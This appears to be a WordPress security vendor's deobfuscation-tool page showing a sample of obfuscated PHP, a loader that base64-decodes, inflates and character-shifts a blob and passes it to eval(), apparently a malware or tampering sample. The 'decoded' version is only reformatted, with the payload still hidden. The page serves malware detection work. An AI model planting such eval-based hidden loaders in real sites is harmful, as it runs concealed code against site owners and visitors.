Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php function jUry($JHgmPA) { $JHgmPA=gzinflate(base64_decode($JHgmPA)); for($i=0;$i<strlen($JHgmPA);$i++) { $JHgmPA[$i] = chr(ord($JHgmPA[$i])-1); } return $JHgmPA; }eval(jUry("vVZtb9pIEP4Ov2LPQrdGITbQNm1DnQolToNEAmdM704VshazYFPjtdZLCdfmt3fWdsxLDNz1w1lI eNfzzOw8O8/sIpQ8Zco54w6nEePCD2dqvdoqx1...



Obfuscated php code

<?php function jUry($JHgmPA)
{
$JHgmPA=gzinflate(base64_decode($JHgmPA));
for($i=0;$i<strlen($JHgmPA);$i++)
{
$JHgmPA[$i] = chr(ord($JHgmPA[$i])-1);
}
return $JHgmPA;
}eval(jUry("vVZtb9pIEP4Ov2LPQrdGITbQNm1DnQolToNEAmdM704VshazYFPjtdZLCdfmt3fWdsxLDNz1w1lI    eNfzzOw8O8/sIpQ8Zco54w6nEePCD2dqvdoqx1Q4wl9QJ/AXvkimKl/p2kAVZ2Ban03ri3Jn231nCCOn/cl8sJURm    IyZMPzYiSN/QrkqQZxO5Qz8UU65E1PCXS/54rFYOCFZUGQgxRMiutR1Rcv948T/XW9g49HWbP+uD+/dWyzDzZeLyG    UTaigfYpf7kUBiHVEDC/oo9Dn5RtJZjGLuGljGiCHIPNbmjC3gp7muzv0xDbV5jK8+6Kn5ldIq+1N1E9My/xiaA9s    ZWh08MgxD0ZUq+l4ugVEseMRiVXJTwzPGZgHF1d8MY0qCmCZGpYp9A2nzb5QbSr4EEpGwsbUMCAmWnMZAhrvkQS+i    obpBagcWoym6H07ooxZ50UdJqAEM5sRqyu8TtiB+aGzzmv47D+17E4+qMq5Hidwu5ZqFgobi3AYSL1FCoicWQQu5H    uFQEcZSTM/fKQmGuh5DcsFyMPGp3NLSE6KQdpK1JFDuvdFIWcgAzzsmUTms9ATQ8lO5kiZ7T6II6hCY+FKWBYpjj0    UYGVfoMH96SP01lTQotRS0IEFQAGoeBY0DNisAvToKijibLF1RgHt9PNhyXYB5cxTjEkFnjBcBL44DWVQEensUlJg    UoN4dRQlSxOH7E5GKNrh+CDOSCkU76kO5/BDoD20EOGWcEtdD6l55kRhVltzvEy5k6I3YqlkBb/wXi6+W4/dDHpMy    0tABf/DlpZyl+aZTgkUu6R1HL0X9S6relfW+QHN1Z+JGkHQm75fqznsCCHu6DF3hs7CIjwRfcb1mRpfjh3DgSGQyg    gWySKjSoIauh1a315d0dWvof+qOh1chD6g7s31jWjVEOCdrFf91ftuz/mxbN+aNfLu8uNCar99rb19pzUYD1/B1tw    NH5Xmnv/eleiJSFiWtsKOmg0HXgQQ6t3/3zf8Mkaftv4JYpj20Hmyr/TC4lVEap8zBCuxwdsyvVistVavmsgU+sdm    wJckNo4bv2T9+EBD9jVY/UwEZEeGPA9o6+5Q4g9uH3tQarbOzwjg6fNdk6VdPRLQ792ZvaNcu5LUHajMV0LOeHfpI    3QSRe3EDFtN8ilOx5CHKca1tBWzdjpLC5yL8TAKjDjjB1+mFIXbIDIAGnHzp2yXWoBUJFrAVAPeuSJsrWKb87c6VO    djqjld1qexS6cePlzZj6ItAkjTK+1i6vkbeBUpwBMluaj66NEpSqqwS46dN5iloP+/9O+Ch/KG7+DFsjLp318yqSB    lVnxeX+0QJV9ngAFv7TpIOt8tV5qCArV2+NnaSsWcrdOIp9rAmHmNbjO9SLln9Fd4/Xv0E"));?>

Decoded(de-Obfuscated) php code

<?php

function jUry($JHgmPA)
{
    $JHgmPA = gzinflate(base64_decode($JHgmPA));
    for ($i = 0; $i < strlen($JHgmPA); $i++) {
        $JHgmPA[$i] = chr(ord($JHgmPA[$i]) - 1);
    }
    return $JHgmPA;
}
eval(jUry("vVZtb9pIEP4Ov2LPQrdGITbQNm1DnQolToNEAmdM704VshazYFPjtdZLCdfmt3fWdsxLDNz1w1lI    eNfzzOw8O8/sIpQ8Zco54w6nEePCD2dqvdoqx1Q4wl9QJ/AXvkimKl/p2kAVZ2Ban03ri3Jn231nCCOn/cl8sJURm    IyZMPzYiSN/QrkqQZxO5Qz8UU65E1PCXS/54rFYOCFZUGQgxRMiutR1Rcv948T/XW9g49HWbP+uD+/dWyzDzZeLyG    UTaigfYpf7kUBiHVEDC/oo9Dn5RtJZjGLuGljGiCHIPNbmjC3gp7muzv0xDbV5jK8+6Kn5ldIq+1N1E9My/xiaA9s    ZWh08MgxD0ZUq+l4ugVEseMRiVXJTwzPGZgHF1d8MY0qCmCZGpYp9A2nzb5QbSr4EEpGwsbUMCAmWnMZAhrvkQS+i    obpBagcWoym6H07ooxZ50UdJqAEM5sRqyu8TtiB+aGzzmv47D+17E4+qMq5Hidwu5ZqFgobi3AYSL1FCoicWQQu5H    uFQEcZSTM/fKQmGuh5DcsFyMPGp3NLSE6KQdpK1JFDuvdFIWcgAzzsmUTms9ATQ8lO5kiZ7T6II6hCY+FKWBYpjj0    UYGVfoMH96SP01lTQotRS0IEFQAGoeBY0DNisAvToKijibLF1RgHt9PNhyXYB5cxTjEkFnjBcBL44DWVQEensUlJg    UoN4dRQlSxOH7E5GKNrh+CDOSCkU76kO5/BDoD20EOGWcEtdD6l55kRhVltzvEy5k6I3YqlkBb/wXi6+W4/dDHpMy    0tABf/DlpZyl+aZTgkUu6R1HL0X9S6relfW+QHN1Z+JGkHQm75fqznsCCHu6DF3hs7CIjwRfcb1mRpfjh3DgSGQyg    gWySKjSoIauh1a315d0dWvof+qOh1chD6g7s31jWjVEOCdrFf91ftuz/mxbN+aNfLu8uNCar99rb19pzUYD1/B1tw    NH5Xmnv/eleiJSFiWtsKOmg0HXgQQ6t3/3zf8Mkaftv4JYpj20Hmyr/TC4lVEap8zBCuxwdsyvVistVavmsgU+sdm    wJckNo4bv2T9+EBD9jVY/UwEZEeGPA9o6+5Q4g9uH3tQarbOzwjg6fNdk6VdPRLQ792ZvaNcu5LUHajMV0LOeHfpI    3QSRe3EDFtN8ilOx5CHKca1tBWzdjpLC5yL8TAKjDjjB1+mFIXbIDIAGnHzp2yXWoBUJFrAVAPeuSJsrWKb87c6VO    djqjld1qexS6cePlzZj6ItAkjTK+1i6vkbeBUpwBMluaj66NEpSqqwS46dN5iloP+/9O+Ch/KG7+DFsjLp318yqSB    lVnxeX+0QJV9ngAFv7TpIOt8tV5qCArV2+NnaSsWcrdOIp9rAmHmNbjO9SLln9Fd4/Xv0E"));


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.